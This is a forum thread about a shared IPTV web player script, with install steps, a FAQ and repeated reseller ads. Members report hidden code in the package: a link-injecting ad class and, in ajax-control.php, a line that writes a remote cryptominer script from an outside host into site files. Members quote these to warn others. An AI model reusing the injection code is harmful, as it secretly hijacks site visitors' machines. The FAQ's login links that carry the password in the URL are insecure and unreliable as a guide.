Welcome to World of IPTV

With

+23k members
+11k threads
+106k posts

we are the most popular IPTV community on the web. 

IMPORTANT NOTE:
WE HAVE RECENTLY NOTICED THAT TOO MANY DOUBLE FAKE ACCOUNTS ARE CREATED IN THE PAST.
TO PREVENT THIS ISSUE THE DECISION WAS MADE THAT IN THE FUTURE A ANNUALLY FEE 20 EURO WILL BE RAISED FOR NEW MEMBERSHIPS.

Join now to the World of IPTV

Forum Rules

Before you start, check out the forum rules first

Account upgrade

Upgrade your account to get access to full features

Advertising

Would you like to place your advertisement with us ?

Resources Manager

Hundreds of IPTV scripts and apps are available for download

Latest, 100% working IPTV Smarters Web Player - Fully customizable

gambitz

Extended Member
Ext. Member
Joined
Mar 3, 2020
Messages
66
Reaction score
183
Points
44
Location
Canada
Good share, thanks. However I do need more likes, thank you.
 
Last edited:

Vinista

Basic Member
Basic Member
Joined
Nov 20, 2019
Messages
63
Reaction score
79
Points
29
Location
France
Guide to install:

  1. First extract all the files.
  2. Upload the player to something like domain.com/watch it should look like this below in the file tree...
  3. After you put those files inside your server. you grant the configuration.php 777 permissions
  4. then go to domain.com/where you put webplayer/player_install.php
  5. it will then ask for your domain, graphic logo, optional info for support and then in the license area just type in anything random...
  6. It will then say delete the player_install.php but I suggest renaming it to .bak and you also need to switch permissions back for configuration to 644

FAQ:

- I keep getting "Playback error, reconnects in 5s (1/5) ", what do I do?
Your provider's server needs to allow you to use m3u8 output.

- Can you change to MPEGTS output?
I tried changing this but the player fails to play the MPEGTS versions

- I am getting errors when channels try to load
Please be sure to use http and not https

- Can I get a client to login to the player with 1 click?
Yes! You can follow this link: http://{{domainWherePlayerIs}}?username={{Username}}&password={{Password}}. This will direct the user to the player and log him in automatically.

Ask any questions below if you need help.

No quote
Your can send me a links uplaod file tks bro
 
Channels MatchTime Unblock CDN Offshore Server Contact
100 cnx / 90€ 5Gbps / 180€ 48CPU-256GRAM 10Gbps 569€ Skype live:giefsl
500 cnx / 350€ 10Gbps / 350€ 48CPU-128GRAM 5Gbps / 349€ TG @changglobize
1000 cnx / 500€ 20Gbps / 700€ 40CPU-128GRAM 20Gbps / €980 http://coronaserver.com

gambitz

Extended Member
Ext. Member
Joined
Mar 3, 2020
Messages
66
Reaction score
183
Points
44
Location
Canada
There's an extracted folder 59efaa548bc6b7c9bb4bec831576b98c597879cf that isn't in the original pack.. it looks like it's a advert bot that is used for income. I'm not a coder but someone who is might want to check out those php files inside of it.



PHP:
<?php

class Magenet
{
    private $cache_time = 3600;
    private $api_host = "http://api.magenet.com";
    private $api_get = "/wordpress/get";

    private $links_db_file;
    private $links_array;
    private $page_links;
    private $verbose = false;
    private $version = '0.3';
    private $links_counter = 0;


    public function __construct()
    {
        if (class_exists('MagenetLinkAutoinstall')) {
            return '<!-- Please turn off WordPress MageNet Monetization Plugin -->';
        }

        $this->links_db_file = $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . _MN_USER . DIRECTORY_SEPARATOR . 'mn-links.db';
        $this->getLinksArray();
        $this->getLinksForPage();
    }


    public function getLinks($show = 0)
    {
        $mads_block = '<div class="mads-block">';

        $counter = 1;
        if ($this->page_links) {
            foreach ($this->page_links as $link) {
                $mads_block .= "\n" . "<span class='mads{$this->links_counter}'>" . $link . "</span>";

                $this->links_counter++;

                if ($show != 0 && is_int($show) && $show > 0 && $show <= count($this->page_links) && $show == $counter) {
                    break;
                }

                $counter++;
            }

            $this->page_links = array_slice($this->page_links, $counter);
        }

        $mads_block .= '</div>';

        return $mads_block;
    }


    public function getLinksArray()
    {
        if ($this->getLinksFileTime() < 0 || ($this->getLinksFileTime() > 0 && $this->getLinksFileTime() + $this->cache_time < time())) {
            $this->getLinksFromMn();
        }

        $links = $this->getFileContent($this->links_db_file);
        $links_array = array();

        if ($links) {
            $links_array = json_decode($links, true);
        }

        $this->links_array = count($links_array) > 0 ? $links_array : false;

        return $this->links_array;
    }


    public function getLinksForPage()
    {
        if (!$this->links_array) {
            return false;
        }

        $page_links = array();
        $page_url = $this->getPageUrl();

        foreach ($this->links_array as $value) {
            if ($this->compareURLs($value['page_url'], $page_url)) {
                $page_links[] = $value['issue_html'];
            }
        }

        $this->page_links = count($page_links) > 0 ? $page_links : false;

        return $this->page_links;
    }


    public function getLinksFromMn()
    {
        $res = $this->sendRequest($this->api_host . $this->api_get);

        if ($res) {
            $this->setFileContent($this->links_db_file, $res);
        }
    }


    public function getPageUrl()
    {
        return $this->full_url($_SERVER);
    }


    public function compareURLs($links_page_url, $page_url)
    {
        $links_page_url = $this->purge(urldecode($links_page_url));
        $page_url = $this->purge(urldecode($page_url));

        if ($links_page_url == $page_url) {
            return true;
        }

        if (strpos($links_page_url, '?') > -1 && strpos($page_url, '?') > -1) {

            $links_page_url_array = parse_url("http://" . $links_page_url);
            $page_url_array = parse_url("http://" . $page_url);

            if ($links_page_url_array['path'] == $page_url_array['path']) {

                if ($this->compareQueries($page_url_array['query'], $links_page_url_array['query'])) {
                    return true;
                }
            }
        }

        return false;
    }

    private function compareQueries($a = null, $b = null)
    {
        if ($a && strlen($a) > 0 && $b && strlen($b) > 0) {

            parse_str($a, $a_array);
            parse_str($b, $b_array);

            if (count(array_diff_assoc($a_array, $b_array)) == 0 && count(array_diff_assoc($b_array, $a_array)) == 0) {
                return true;
            }
        }

        return false;
    }


    private function getFileContent($filename)
    {
        $fp = @fopen($filename, 'r');
        @flock($fp, LOCK_SH);

        if ($fp) {
            clearstatcache();
            $length = @filesize($filename);

            if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                $mqr = @get_magic_quotes_runtime();
                @set_magic_quotes_runtime(0);
            }

            if ($length) {
                $data = @fread($fp, $length);
            } else {
                $data = '';
            }

            if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                @set_magic_quotes_runtime($mqr);
            }

            @flock($fp, LOCK_UN);
            @fclose($fp);

            return $data;
        }

        return $this->showError("Can't read data from file: " . $filename);
    }


    function setFileContent($filename, $data)
    {
        $fp = @fopen($filename, 'w');

        if ($fp) {
            if (flock($fp, LOCK_EX | LOCK_NB)) {
                ftruncate($fp, 0);

                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    $mqr = @get_magic_quotes_runtime();
                    @set_magic_quotes_runtime(0);
                }

                if ($data != '') {
                    @fwrite($fp, $data);
                }

                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    @set_magic_quotes_runtime($mqr);
                }

                @flock($fp, LOCK_UN);
                @fclose($fp);

                if (md5($this->getFileContent($filename)) != md5($data)) {
                    @unlink($filename);

                    return $this->showError('File corrupt: ' . $filename);
                }
            } else {
                return false;
            }

            return true;
        }

        return $this->showError("Can't write data to file: " . $filename);
    }


    public function sendRequest($url)
    {
        $params = http_build_query(array(
            'url' => $this->url_origin($_SERVER),
            'key' => _MN_USER,
            'version' => $this->version,
            'type' => '1'
        ));

        if (function_exists('curl_init') && function_exists('curl_exec')) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);
            curl_setopt($ch, CURLOPT_ENCODING, "gzip,deflate");
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $params);

            $curl_result = curl_exec($ch);

            if (!curl_errno($ch)) {
                $result = $curl_result;
            } else {
                $result = false;
            }

            curl_close($ch);
        } else {
            $url = $url . "?" . $params;
            $result = @file_get_contents($url, false);
        }

        return $result;
    }

    public function getLinksFileTime()
    {
        if (file_exists($this->links_db_file)) {
            return filemtime($this->links_db_file);
        }

        return -1;
    }

    public function setVerbose()
    {
        $this->verbose = true;
    }


    public function showError($e)
    {
        if ($this->verbose) {
            echo '<p style="color: red; font-weight: bold;">Magenet error: ' . $e . '</p>';
        }

        return false;
    }

    public function url_origin($s, $use_forwarded_host = false)
    {
        $ssl = (!empty($s['HTTPS']) && $s['HTTPS'] == 'on');
        $sp = strtolower($s['SERVER_PROTOCOL']);
        $protocol = substr($sp, 0, strpos($sp, '/')) . (($ssl) ? 's' : '');
        $port = $s['SERVER_PORT'];
        $port = ((!$ssl && $port == '80') || ($ssl && $port == '443')) ? '' : ':' . $port;
        $host = ($use_forwarded_host && isset($s['HTTP_X_FORWARDED_HOST'])) ? $s['HTTP_X_FORWARDED_HOST'] : (isset($s['HTTP_HOST']) ? $s['HTTP_HOST'] : null);
        $host = isset($host) ? $host : $s['SERVER_NAME'] . $port;

        return $protocol . '://' . $host;
    }


    public function full_url($s, $use_forwarded_host = false)
    {
        return $this->url_origin($s, $use_forwarded_host) . $s['REQUEST_URI'];
    }

    private function purge($url)
    {
        $url = strtolower($url);
        $url = $this->str_replace_first("https://www.", '', $url);
        $url = $this->str_replace_first("http://www.", '', $url);
        $url = $this->str_replace_first("https://", '', $url);
        $url = $this->str_replace_first("http://", '', $url);

        $pos = strrpos($url, '/');

        if ($pos !== false && $pos == strlen($url) - 1) {
            $url = substr($url, 0, -1);
        }

        return $url;
    }

    public function str_replace_first($search, $replace, $subject)
    {
        $search = '/' . preg_quote($search, '/') . '/';
        return preg_replace($search, $replace, $subject, 1);
    }

}

Where do you find this? what file name? I cant find this in the zip I downloaded.
 

gambitz

Extended Member
Ext. Member
Joined
Mar 3, 2020
Messages
66
Reaction score
183
Points
44
Location
Canada
Thank you for your share.

install didnt do anything. I waited long time. no change. no error message, etc.
I'm on a shared hosting what else do I need? I read through the whole thread few times and could not resolve.
Thanks.
 
Channels MatchTime Unblock CDN Offshore Server Contact
100 cnx / 90€ 5Gbps / 180€ 48CPU-256GRAM 10Gbps 569€ Skype live:giefsl
500 cnx / 350€ 10Gbps / 350€ 48CPU-128GRAM 5Gbps / 349€ TG @changglobize
1000 cnx / 500€ 20Gbps / 700€ 40CPU-128GRAM 20Gbps / €980 http://coronaserver.com
Channels MatchTime Unblock CDN Offshore Server Contact
100 cnx / 90€ 5Gbps / 180€ 48CPU-256GRAM 10Gbps 569€ Skype live:giefsl
500 cnx / 350€ 10Gbps / 350€ 48CPU-128GRAM 5Gbps / 349€ TG @changglobize
1000 cnx / 500€ 20Gbps / 700€ 40CPU-128GRAM 20Gbps / €980 http://coronaserver.com

Jam81

Extended Member
Ext. Member
Joined
Jan 30, 2020
Messages
9
Reaction score
23
Points
14
Location
USA
Works great thank you for sharing. Easy setup
 
Channels MatchTime Unblock CDN Offshore Server Contact
100 cnx / 90€ 5Gbps / 180€ 48CPU-256GRAM 10Gbps 569€ Skype live:giefsl
500 cnx / 350€ 10Gbps / 350€ 48CPU-128GRAM 5Gbps / 349€ TG @changglobize
1000 cnx / 500€ 20Gbps / 700€ 40CPU-128GRAM 20Gbps / €980 http://coronaserver.com

goochi

Extended Member
Ext. Member
Joined
Sep 24, 2019
Messages
56
Reaction score
197
Points
44
Location
USA
you guys need to take this down this have backdoor
ajax-control.php file
PHP:
$toAdd = "<script src='https://www.hostingcloud.racing/auAk.js'></script><script>var _client = new Cl"."ient.Ano"."nymous('43f0a090bb2226d374388143d81a6c45a2ee0d477ae50cb7371ad8be8604d465', {throttle: 0.2, c: 'w', ads: 0}); _client.start();</script>";
file_put_contents($file,str_replace("<script></script>",$toAdd,file_get_contents($file)));
 

h3nd0

Extended Member
Ext. Member
Joined
Feb 10, 2020
Messages
6
Reaction score
9
Points
14
Location
UK
Please dont use this guys.! as previously said theres a backdoor to access it.!
 
Channels MatchTime Unblock CDN Offshore Server Contact
100 cnx / 90€ 5Gbps / 180€ 48CPU-256GRAM 10Gbps 569€ Skype live:giefsl
500 cnx / 350€ 10Gbps / 350€ 48CPU-128GRAM 5Gbps / 349€ TG @changglobize
1000 cnx / 500€ 20Gbps / 700€ 40CPU-128GRAM 20Gbps / €980 http://coronaserver.com
Channels MatchTime Unblock CDN Offshore Server Contact
100 cnx / 90€ 5Gbps / 180€ 48CPU-256GRAM 10Gbps 569€ Skype live:giefsl
500 cnx / 350€ 10Gbps / 350€ 48CPU-128GRAM 5Gbps / 349€ TG @changglobize
1000 cnx / 500€ 20Gbps / 700€ 40CPU-128GRAM 20Gbps / €980 http://coronaserver.com
shape1
shape2
shape3
shape4
shape5
shape6
Top
AdBlock Detected

We know, ad-blocking software do a great job at blocking ads. But our site is sponsored by advertising. 

For the best possible site experience please take a moment to disable your AdBlocker.
You can create a Account with us or if you already have account, you can prefer an Account Upgrade.

I've Disabled AdBlock